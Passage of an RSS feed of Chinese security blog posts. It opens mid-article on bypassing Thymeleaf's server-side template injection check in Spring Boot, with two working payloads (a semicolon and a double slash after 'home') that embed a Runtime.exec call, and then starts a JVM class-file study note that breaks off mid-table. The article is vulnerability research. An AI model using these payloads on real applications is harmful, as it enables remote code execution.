&#34;Microsoft YaHei&#34;, Arial, sans-serif;">为假，就能达到我们的目的</span><br/></p><p style="margin: 0px 0px 1.2em !important;">contains 区分大小写，那么……</p><p style="margin: 0px 0px 1.2em !important;">别想了，因为 pack 方法已经经过了<code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin: 0px 0.15em;padding: 0px 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">toLowerCase</code>处理</p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.65546875" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=a8f1d332&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmr2Y5Kr637wIR2BeJibXurjoCcrRBU28Pz6mtibRicDbY5mpsROGjm1UusicCliaRYIctefr0yx6SnRbSQ%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p style="margin: 0px 0px 1.2em !important;">那么是不是么办法了？答案是否定的（废话，三梦师傅给出了答案）</p><p style="margin: 0px 0px 1.2em !important;">我们先看<code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin: 0px 0.15em;padding: 0px 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">requestURI</code>是怎么来的：</p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.27890625" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=50600bf1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmr2Y5Kr637wIR2BeJibXurjovxGTJTDyS3WjChy3bRQQ9pyyPQg68vtEgGib7mmQLwJHfTutVxiadvNg%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p style="margin: 0px 0px 1.2em !important;">跟进<code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin: 0px 0.15em;padding: 0px 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">unescapeUriPath</code>方法：</p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.2328125" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=714ffe4b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmr2Y5Kr637wIR2BeJibXurjoUu6K4AlqB2Hh0nBXMq2Ch7f3Cc10f6pkjQBd5WvawibaXhLCUJt5mkA%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p style="margin: 0px 0px 1.2em !important;">跟进<code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin: 0px 0.15em;padding: 0px 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">unescapeUriPath</code>方法：</p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.28359375" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=dcb5be7d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmr2Y5Kr637wIR2BeJibXurjodD3B1DSd3ialYibFPcF2dF6NczNqB2n7jibNAn5wrfjOJ8wf2XgfqS6Fg%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p style="margin: 0px 0px 1.2em !important;">调用了<code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin: 0px 0.15em;padding: 0px 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">UriEscapeUtil.unescape</code>，跟进：</p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.534375" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=3c0e755b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmr2Y5Kr637wIR2BeJibXurjoJVAcClDZibHZAVmnzeqic5NFbCqUzBZ20mwWgKD65J2EsQJzibMaP4dvw%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p style="margin: 0px 0px 1.2em !important;">该函数首先检测传入的字符中是否是<code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin: 0px 0.15em;padding: 0px 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">%</code>(ESCAPE_PREFIX)或者<code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin: 0px 0.15em;padding: 0px 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">+</code>，如果是，那么进行二次处理：<span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"></span></p><ul style="margin: 1.2em 0px;padding-left: 2em;" class="list-paddingleft-2"><li style="margin: 0.5em 0px;"><p>将<code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin: 0px 0.15em;padding: 0px 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">+</code>转义成空格</p></li><li style="margin: 0.5em 0px;"><p>如果<code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin: 0px 0.15em;padding: 0px 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">%</code>的数量大于一，需要一次将它们全部转义</p></li></ul><p style="margin: 0px 0px 1.2em !important;">处理完毕后，将处理后的字符串返还回</p><p style="margin: 0px 0px 1.2em !important;">如果实际不需要unescape，那么不经过处理，直接返回原始字符串对象</p><p style="margin: 0px 0px 1.2em !important;">最终，就得到了<code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin: 0px 0.15em;padding: 0px 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">requestURI</code></p><p style="margin: 0px 0px 1.2em !important;">貌似，也没啥特殊的地方</p><p style="margin: 0px 0px 1.2em !important;">既然没有特殊的地方，那么我们只需要思考，如何从正面令<code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin: 0px 0.15em;padding: 0px 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">requestURI.contains(vn)</code>为假，即令<code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin: 0px 0.15em;padding: 0px 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">requestURI</code>不等于<code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin: 0px 0.15em;padding: 0px 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">home/__${t(java.lang.runtime).getruntime().exec(&#34;open-acalculator&#34;)}__::.x</code>即可</p><p style="margin: 0px 0px 1.2em !important;">这件事本质是令两个字符串不相等，并且要满足路由条件（<code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin: 0px 0.15em;padding: 0px 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">/home/*</code>路径下）</p><p style="margin: 0px 0px 1.2em !important;">那么结论就来了</p><p style="margin: 0px 0px 1.2em !important;"><strong>Bypass 技巧 1：</strong></p><p style="margin: 0px 0px 1.2em !important;">这也是三梦师傅在群里提到的</p><p style="margin: 0px 0px 1.2em !important;"><code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin: 0px 0.15em;padding: 0px 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">home;/__${t(java.lang.runtime).getruntime().exec(&#34;open-acalculator&#34;)}__::.x</code></p><p style="margin: 0px 0px 1.2em !important;">只需要在 home 的后面加上一个分号即可</p><p style="margin: 0px 0px 1.2em !important;">这是因为在 SpringBoot 中，SpringBoot 有一个功能叫做矩阵变量，默认是禁用状态：</p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.2875" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=b5230e04&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmr2Y5Kr637wIR2BeJibXurjoWhxYcHE6AgSViapqLrEzFOCwo71xe53iaGNsunIzCBb85HBv0HO3CEjA%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p style="margin: 0px 0px 1.2em !important;">如果发现路径中存在分号，那么会调用<code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin: 0px 0.15em;padding: 0px 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">removeSemicolonContent</code>方法来移除分号</p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.3296875" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=1ddee911&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmr2Y5Kr637wIR2BeJibXurjohVu058Vt1TBpjKaz50wJowwIMQbfaqPibahNeRdnedMnaaIrjtbHpQw%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p style="margin: 0px 0px 1.2em !important;">这样一来使得传入的字符和<code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin: 0px 0.15em;padding: 0px 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">vn</code>不相同，并且又满足路由条件！成功绕过<code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin: 0px 0.15em;padding: 0px 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">checkViewNameNotInRequest</code>的检测</p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.503125" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=fbe92160&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmr2Y5Kr637wIR2BeJibXurjoib6uZoavIiaAibG8BSYSSmtXng05QZltVLLPJWyNQQ24Jia7q2YvTeSb5w%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p style="margin: 0px 0px 1.2em !important;"><strong>Bypass 技巧 2：</strong></p><p style="margin: 0px 0px 1.2em !important;">这个 Bypass 是我分析的时候想到的，前面也提到了，我们的实际目标就是令两个字符串不相等，并且要满足路由条件（<code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin: 0px 0.15em;padding: 0px 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">/home/*</code>路径下），那么：</p><p style="margin: 0px 0px 1.2em !important;"><code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin: 0px 0.15em;padding: 0px 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">home//__${t(java.lang.runtime).getruntime().exec(&#34;open-acalculator&#34;)}__::.x</code>和<code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin: 0px 0.15em;padding: 0px 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">home/__${t(java.lang.runtime).getruntime().exec(&#34;open-acalculator&#34;)}__::.x</code>不相等，并且满足路由条件！完美！（原理不用解释了吧）</p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.45625" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=ad8560b3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmr2Y5Kr637wIR2BeJibXurjoo0OgOhmzzHcw54ibkeB6eMp3Vog6szzMwzoHX2IhS3iagM1sJU5oTvgg%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p style="margin: 0px 0px 1.2em !important;">最后提一点，实际上 payload 中不能含有<code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin: 0px 0.15em;padding: 0px 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">/</code>，否则会执行不成功：</p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.47890625" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=274930f0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmr2Y5Kr637wIR2BeJibXurjoCeX65qGjfRPjE0XHDORWFhZBykkQatNwdARDahnFIIap3748PHJtiaA%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p style="margin: 0px 0px 1.2em !important;">原因其实就是路由条件不相等，因为解析器看来是这样的路径<span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"></span></p><p style="margin: 0px 0px 1.2em !important;"><code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin: 0px 0.15em;padding: 0px 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">/home;/__${T (java.lang.Runtime).getRuntime().exec(&#34;open -a</code> <code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin: 0px 0.15em;padding: 0px 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">/System</code> <code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin: 0px 0.15em;padding: 0px 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">/Applications</code> <code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin: 0px 0.15em;padding: 0px 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">/Calculator.app&#34;)}__::.x/</code></p><h2 style="margin: 1.3em 0px 1em;padding: 0px;font-weight: bold;font-size: 1.4em;border-bottom: 1px solid rgb(238, 238, 238);">0x04 总结</h2><p style="margin: 0px 0px 1.2em !important;">遗憾的是，这 Bypass Thymeleaf 官方并没有给三梦师傅分配 CVE，和三梦师傅讨论认为，Thymeleaf 认为这是开发者需要注意到的地方（因为 return 的内容是由开发者控制，开发者应当注意这个问题），不过这个理由牵不牵强，就只能自己领会了</p><p style="margin: 0px 0px 1.2em !important;">实际上由于时间问题，还有一些内容没有横向扩展，比如，当不 return 的时候：</p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.1951219512195122" data-s="300,640" style="" data-type="png" data-w="984" src="https://wechat2rss.xlab.app/img-proxy/?k=8ec800ad&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmr2Y5Kr637wIR2BeJibXurjohoicxuwu8W32H4BVZuPH0FIibpIkBKebfITeZSXADHsW58HplIlicKmgw%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p style="margin: 0px 0px 1.2em !important;">能否 Bypass？</p><p style="margin: 0px 0px 1.2em !important;">当模板内容可控的时候：</p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.25889328063241107" data-s="300,640" style="" data-type="png" data-w="1012" src="https://wechat2rss.xlab.app/img-proxy/?k=e2f26df4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmr2Y5Kr637wIR2BeJibXurjoFW49OvSqWbU2SFXubMEMzpIqwdyB9iaf7keZoN8hAqHPibwET3yoSObg%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.6323809523809524" data-s="300,640" style="" data-type="png" data-w="1050" src="https://wechat2rss.xlab.app/img-proxy/?k=2cf2284a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmr2Y5Kr637wIR2BeJibXurjoMV9l98tV2ZsvZUPAGfA08s0VIXA2jAO3UiccmBJ6pL753eibuoPhx6ZQ%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p style="margin: 0px 0px 1.2em !important;">又能否 Bypass？</p><p style="margin: 0px 0px 1.2em !important;">此外，java 常用的其他模板引擎，如 Velocity、Freemarker、Pebble 和 Jinjava 是否存在类似问题？</p><p style="margin: 0px 0px 1.2em !important;">这些问题在我有时间的时候会尝试去解决，也同时欢迎其他师傅共同分析思考这些问题<br/></p><p>项目源码我也已经上传到 GitHub 上了，有兴趣可以自己搭建看看，虽然很简单，但是可以省去复制代码的时间了</p><p><br/></p><p><a href="https://github.com/cn-panda/ThymeleafSSTIBypass" target="_blank">https://github.com/cn-panda/ThymeleafSSTIBypass</a></p><p><br/></p>



<p><a href="https://www.cnpanda.net/sec/1063.html">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=90df5fc0&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg4MzYxODA4Mw%3D%3D%26mid%3D2247483996%26idx%3D1%26sn%3Dc66b43c4dc096fbf91f8de48467f2f5f%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Sat, 20 Nov 2021 12:00:00 +0800</pubDate>
    </item>
    <item>
      <title>JVM字节码学习笔记——class 文件结构</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg4MzYxODA4Mw==&amp;mid=2247483945&amp;idx=1&amp;sn=bcf3b3592f967a198761dddc0dde0ff0</link>
      <description>class文件的内部结构你知道多少？</description>
      <content:encoded><![CDATA[<p>
原创 <span>p4nda</span> <span>2021-09-28 09:24</span> <span style="display: inline-block;"></span>
</p>

<p>class文件的内部结构你知道多少？</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=3be8ce30&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fcibr2n69ehmpb42rNVXy4fKlZN56tPJHI9u60p8UFXiboVkQqdTZ28dXlN8RR3ed45CxrI0u5Bia89liaRdLu0WC8w%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<h2><span style="font-size: 1.3em;font-weight: bold;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">0x01 前言</span></h2><p><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><br/></span></p><p><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">本系列学习笔记均来自《深入理解 JVM 字节码》（作者：</span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">张亚），本笔记仅用于个人学习知识总结。</span><br/></p><p style="margin: 0px 0px 1.2em !important;">对于学习 java 安全、想了解 JVM 字节码的童鞋们强烈建议购买正版书去阅读。</p><h3 style="margin: 1.3em 0px 1em;padding: 0px;font-weight: bold;font-size: 1.3em;">0x02 class 文件结构</h3><p style="margin: 0px 0px 1.2em !important;">java 是跨平台的一门语言，但是 jvm 却不是跨平台的，但是不同平台的 JVM 帮我们屏蔽了差异，通过 JVM 可以把源代码编译成和平台无关的字节码，这样我们的源代码就不用根据不同平台编译成不同二进制是可执行文件了。这也是 java 字节码的意义所在。</p><p style="margin: 0px 0px 1.2em !important;">class 文件由十部分组成，具体如下：</p><ul style="margin: 1.2em 0px;padding-left: 2em;" class="list-paddingleft-2"><li style="margin: 0.5em 0px;"><p>魔数（magic number）</p></li><li style="margin: 0.5em 0px;"><p>版本号（minor&amp;major version）</p></li><li style="margin: 0.5em 0px;"><p>常量池（constant pool）</p></li><li style="margin: 0.5em 0px;"><p>访问标记（access flag）</p></li><li style="margin: 0.5em 0px;"><p>类索引（this class）</p></li><li style="margin: 0.5em 0px;"><p>超类索引（super class）</p></li><li style="margin: 0.5em 0px;"><p>接口表索引（interface）</p></li><li style="margin: 0.5em 0px;"><p>字段表（field）</p></li><li style="margin: 0.5em 0px;"><p>方法表（method）</p></li><li style="margin: 0.5em 0px;"><p>属性表（attribute）</p></li></ul><p style="margin: 0px 0px 1.2em !important;">一句顺口溜可以帮助我们记忆</p><blockquote style="margin: 1.2em 0px;border-left: 4px solid rgb(221, 221, 221);padding: 0px 1em;color: rgb(119, 119, 119);quotes: none;"><p style="margin: 0px 0px 1.2em !important;">My Very Cute Animal Truns Savage In full Moon Areas.</p><p style="margin: 0px 0px 1.2em !important;">我可爱的宠物会在月圆时变得暴躁。</p></blockquote><h4 style="margin: 1.3em 0px 1em;padding: 0px;font-weight: bold;font-size: 1.2em;">1、魔数（magic number）</h4><p style="margin: 0px 0px 1.2em !important;">魔数主要用于利用文件内容本身来标识文件的类型。class 文件的魔数为<code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin: 0px 0.15em;padding: 0px 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">0xcafebabe</code>，虚拟机在加载类文件之前会先检验这 4 个字节，如果不是，那么会抛出<code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin: 0px 0.15em;padding: 0px 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">java.lang.ClassFormatError</code>异常。</p><blockquote style="margin: 1.2em 0px;border-left: 4px solid rgb(221, 221, 221);padding: 0px 1em;color: rgb(119, 119, 119);quotes: none;"><p style="margin: 0px 0px 1.2em !important;">java 之父 James Gosling 曾经写过一篇文章，大意是他之前常去的一家饭店里有个乐队经常演出，后来乐队的主唱不幸去世，他们就将那个地方称为”cafedead“。当时 Gosling 正在设计一些文件的编码格式，需要两个魔数，一个用于对象持久化，一个用于 class 文件，这两个魔数有着相同的前缀”cafe“，他选择了 cafedead 作为对象持久化文件的魔数，选择了 cafebabe 作为 class 文件的魔数。</p></blockquote><h4 style="margin: 1.3em 0px 1em;padding: 0px;font-weight: bold;font-size: 1.2em;">2、版本号（minor&amp;major version）</h4><p style="margin: 0px 0px 1.2em !important;">魔数之后的四个字节分别表示副版本号（Minor Version）和主版本号（Major Version）。</p><p style="margin: 0px 0px 1.2em !important;">如：<code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin: 0px 0.15em;padding: 0px 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">CA FE BA BE 00 00 00 34</code></p><p style="margin: 0px 0px 1.2em !important;">那么主版本号为：<code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin: 0px 0.15em;padding: 0px 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">0x34=4x1+3x16=52</code></p><h4 style="margin: 1.3em 0px 1em;padding: 0px;font-weight: bold;font-size: 1.2em;">3、常量池（constant pool）</h4><p style="margin: 0px 0px 1.2em !important;">常量池是类文件中最复杂的数据结构。</p><p style="margin: 0px 0px 1.2em !important;">对于 JVM 来说，如果操作数是常用的数值，比如 0，那么就会把这些操作数<strong>内嵌</strong>到字节码中，而如果是<strong>字符串常量</strong>或者<strong>较大的整数</strong>时，class 文件会把这些操作数存储在常量池中，当要使用这些操作数的时候，会根据常量池的索引位置来查找。</p><p style="margin: 0px 0px 1.2em !important;">数据结构示意如下：</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="cpp"><code><span class="code-snippet_outer"><span class="code-snippet__class"><span class="code-snippet__keyword">struct</span>{</span></span></code><code><span class="code-snippet_outer">  u2           constant_pool_count;</span></code><code><span class="code-snippet_outer">  cp_info      constant_poll[constant_pool_count<span class="code-snippet__number">-1</span>];</span></code><code><span class="code-snippet_outer">}</span></code></pre></section><p style="margin: 0px 0px 1.2em !important;">常量池分为两个部分，一是常量池大小（cp_info_count），意思常量池项（cp_info）集合。</p><h5 style="margin: 1.3em 0px 1em;padding: 0px;font-weight: bold;font-size: 1em;">常量池大小（cp_info_count）</h5><p style="margin: 0px 0px 1.2em !important;">常量池大小由两个字节表示。如果常量池大小为 n，那么常量池真正有效的索引是 1~n-1。0 属于保留索引，供特殊情况使用。</p><h5 style="margin: 1.3em 0px 1em;padding: 0px;font-weight: bold;font-size: 1em;">常量池项（cp_info）</h5><p style="margin: 0px 0px 1.2em !important;">常量池项最多包含 n-1个元素。因为 long 和 double 类型的常量会占两个字节，也就是说或用两个索引位置，因此如果常量池中包含了这两种类型的变量，那么实际中的常量池的元素个数会比 n-1要少。</p><p style="margin: 0px 0px 1.2em !important;">常量池项（cp_info）的数据结构示意如下：</p><pre style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;font-size: 1em;line-height: 1.2em;margin: 1.2em 0px;"><code style="white-space:pre-wrap;font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin: 0px 0.15em;overflow: auto;border-radius: 3px;border-width: 1px;border-style: solid;border-color: rgb(204, 204, 204);padding: 0.5em;color: rgb(51, 51, 51);background: rgb(248, 248, 248);text-size-adjust: none;display: block !important;">cp_info{<br/>  u1 tag;<br/>  u2 info[];<br/>}</code></pre><p style="margin: 0px 0px 1.2em !important;">每个常量池项的第一个字节表示常量项的类型（tag），接下来的几个字节才表示常量项的具体内容。</p><p style="margin: 0px 0px 1.2em !important;">在 java 虚拟机中一共定义了 14 种常量项 tag 类型，这些常量名都以 CONSTANT开头，以 info 结尾。</p><table style="margin: 1.2em 0px;padding: 0px;border-collapse: collapse;border-spacing: 0px;font: inherit;border-width: 0px;border-style: initial;border-color: initial;"><thead><tr style="border-width: 1px 0px 0px;border-right-style: initial;border-bottom-style: initial;border-left-style: initial;border-right-color: initial;border-bottom-color: initial;border-left-color: initial;border-top-style: solid;border-top-color: rgb(204, 204, 204);background-color: white;margin: 0px;padding: 0px;"><th style="font-size: 1em;border-width: 1px;border-style: solid;border-color: rgb(204, 204, 204);margin: 0px;padding: 0.5em 1em;font-weight: bold;background-color: rgb(240, 240, 240);">常量类型</th><th style="font-size: 1em;border-width: 1px;border-style: solid;border-color: rgb(204, 204, 204);margin: 0px;padding: 0.5em 1em;font-weight: bold;background-color: rgb(240, 240, 240);">值</th><th style="font-size: 1em;border-width: 1px;border-style: solid;border-color: rgb(204, 204, 204);margin: 0px;padding: 0.5em 1em;font-weight: bold;background-color: rgb(240, 240, 240);">描述</th></tr></thead><tbody style="margin: 